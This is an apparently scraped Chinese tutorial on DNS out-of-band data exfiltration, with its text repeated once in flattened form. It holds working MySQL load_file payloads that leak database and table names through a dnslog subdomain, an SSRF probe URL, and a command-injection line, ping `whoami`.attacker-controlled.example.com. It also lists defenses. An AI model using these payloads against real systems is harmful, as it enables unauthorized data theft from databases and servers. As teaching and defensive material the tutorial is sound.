dns外带详细解析以及实例
字数 1145 2025-08-29 22:41:32

DNS外带技术详解与实战指南

一、DNS外带技术概述

1.1 基本概念

DNS外带(OOB, Out-of-Band)是一种通过DNS协议传输数据的技术,利用DNS查询和响应机制实现信息的隐蔽传输。

1.2 工作原理

  • 将数据嵌入到DNS请求或响应中
  • 利用DNS查询通常允许通过防火墙的特性
  • 多数网络环境允许DNS查询的出站流量

1.3 主要用途

  • 安全测试:检测服务器端请求伪造(SSRF)、SQL注入、命令注入等漏洞
  • 数据窃取:绕过传统安全防御机制外传敏感信息
  • 漏洞验证:确认漏洞存在性而无需直接利用

二、DNS外带平台

2.1 常用平台

  1. DNSLog.cn - http://www.dnslog.cn
  2. CEYE.io - http://ceye.io

2.2 DNSLog.cn使用流程

  1. 访问平台获取一个临时子域名
  2. 在目标系统触发对该域名的DNS查询
  3. 返回平台查看解析记录,获取外带数据

三、DNS外带技术实现

3.1 MySQL DNS外带示例

select load_file(concat('\\\\',select 123,'.gxvvec.dnslog.cn\\xxx.txt'));

代码解析:

  • load_file():MySQL内置函数,用于读取文件内容,此处用于触发DNS请求
  • concat():字符串拼接函数
  • \\:Windows系统UNC路径格式中的网络资源路径标识
  • select 123:示例查询,实际可替换为任意SQL查询
  • .gxvvec.dnslog.cn:攻击者控制的DNS域名
  • \\xxx.txt:虚拟文件路径,确保UNC路径格式正确

3.2 实际攻击中的变体

  • 替换select 123为实际敏感数据查询:
    select load_file(concat('\\\\',select database(),'.gxvvec.dnslog.cn\\xxx.txt'));
    
    select load_file(concat('\\\\',select table_name from information_schema.tables where table_schema=database() limit 0,1,'.gxvvec.dnslog.cn\\xxx.txt'));
    

四、应用场景详解

4.1 SQL注入数据外带

  • 当传统注入技术无法直接回显数据时
  • 适用于盲注场景
  • 可外带数据库名、表名、字段值等敏感信息

4.2 SSRF漏洞检测

  • 通过触发DNS查询验证SSRF漏洞存在
  • 示例Payload:
    http://internal-server/load?url=http://attacker-controlled.example.com
    

4.3 命令注入验证

  • 通过DNS查询确认命令执行成功
  • 示例:
    ping `whoami`.attacker-controlled.example.com
    

五、防御措施

5.1 网络层防御

  • 限制出站DNS查询
  • 实施DNS过滤和监控

5.2 应用层防御

  • 输入验证和过滤
  • 禁用危险函数(如MySQL的load_file)
  • 最小权限原则

5.3 监控与检测

  • 监控异常的DNS查询模式
  • 记录和审计DNS请求日志

六、技术限制与注意事项

  1. 依赖目标系统能够发起DNS查询
  2. 数据外带效率较低,适合少量数据
  3. 可能被网络防火墙或IDS/IPS检测
  4. 合法用途与非法攻击的界限需明确

七、扩展技术

  1. DNS隧道技术:建立更稳定的隐蔽通信通道
  2. ICMP外带:类似原理但使用ICMP协议
  3. HTTP外带:通过HTTP请求实现数据外传

八、法律与道德声明

DNS外带技术应仅用于合法授权的安全测试。未经授权的使用可能违反相关法律法规,使用者需自行承担相应责任。

DNS外带技术详解与实战指南 一、DNS外带技术概述 1.1 基本概念 DNS外带(OOB, Out-of-Band)是一种通过DNS协议传输数据的技术,利用DNS查询和响应机制实现信息的隐蔽传输。 1.2 工作原理 将数据嵌入到DNS请求或响应中 利用DNS查询通常允许通过防火墙的特性 多数网络环境允许DNS查询的出站流量 1.3 主要用途 安全测试 :检测服务器端请求伪造(SSRF)、SQL注入、命令注入等漏洞 数据窃取 :绕过传统安全防御机制外传敏感信息 漏洞验证 :确认漏洞存在性而无需直接利用 二、DNS外带平台 2.1 常用平台 DNSLog.cn - http://www.dnslog.cn CEYE.io - http://ceye.io 2.2 DNSLog.cn使用流程 访问平台获取一个临时子域名 在目标系统触发对该域名的DNS查询 返回平台查看解析记录,获取外带数据 三、DNS外带技术实现 3.1 MySQL DNS外带示例 代码解析: load_file() :MySQL内置函数,用于读取文件内容,此处用于触发DNS请求 concat() :字符串拼接函数 \\ :Windows系统UNC路径格式中的网络资源路径标识 select 123 :示例查询,实际可替换为任意SQL查询 .gxvvec.dnslog.cn :攻击者控制的DNS域名 \\xxx.txt :虚拟文件路径,确保UNC路径格式正确 3.2 实际攻击中的变体 替换 select 123 为实际敏感数据查询: 四、应用场景详解 4.1 SQL注入数据外带 当传统注入技术无法直接回显数据时 适用于盲注场景 可外带数据库名、表名、字段值等敏感信息 4.2 SSRF漏洞检测 通过触发DNS查询验证SSRF漏洞存在 示例Payload: 4.3 命令注入验证 通过DNS查询确认命令执行成功 示例: 五、防御措施 5.1 网络层防御 限制出站DNS查询 实施DNS过滤和监控 5.2 应用层防御 输入验证和过滤 禁用危险函数(如MySQL的 load_file ) 最小权限原则 5.3 监控与检测 监控异常的DNS查询模式 记录和审计DNS请求日志 六、技术限制与注意事项 依赖目标系统能够发起DNS查询 数据外带效率较低,适合少量数据 可能被网络防火墙或IDS/IPS检测 合法用途与非法攻击的界限需明确 七、扩展技术 DNS隧道技术 :建立更稳定的隐蔽通信通道 ICMP外带 :类似原理但使用ICMP协议 HTTP外带 :通过HTTP请求实现数据外传 八、法律与道德声明 DNS外带技术应仅用于合法授权的安全测试。未经授权的使用可能违反相关法律法规,使用者需自行承担相应责任。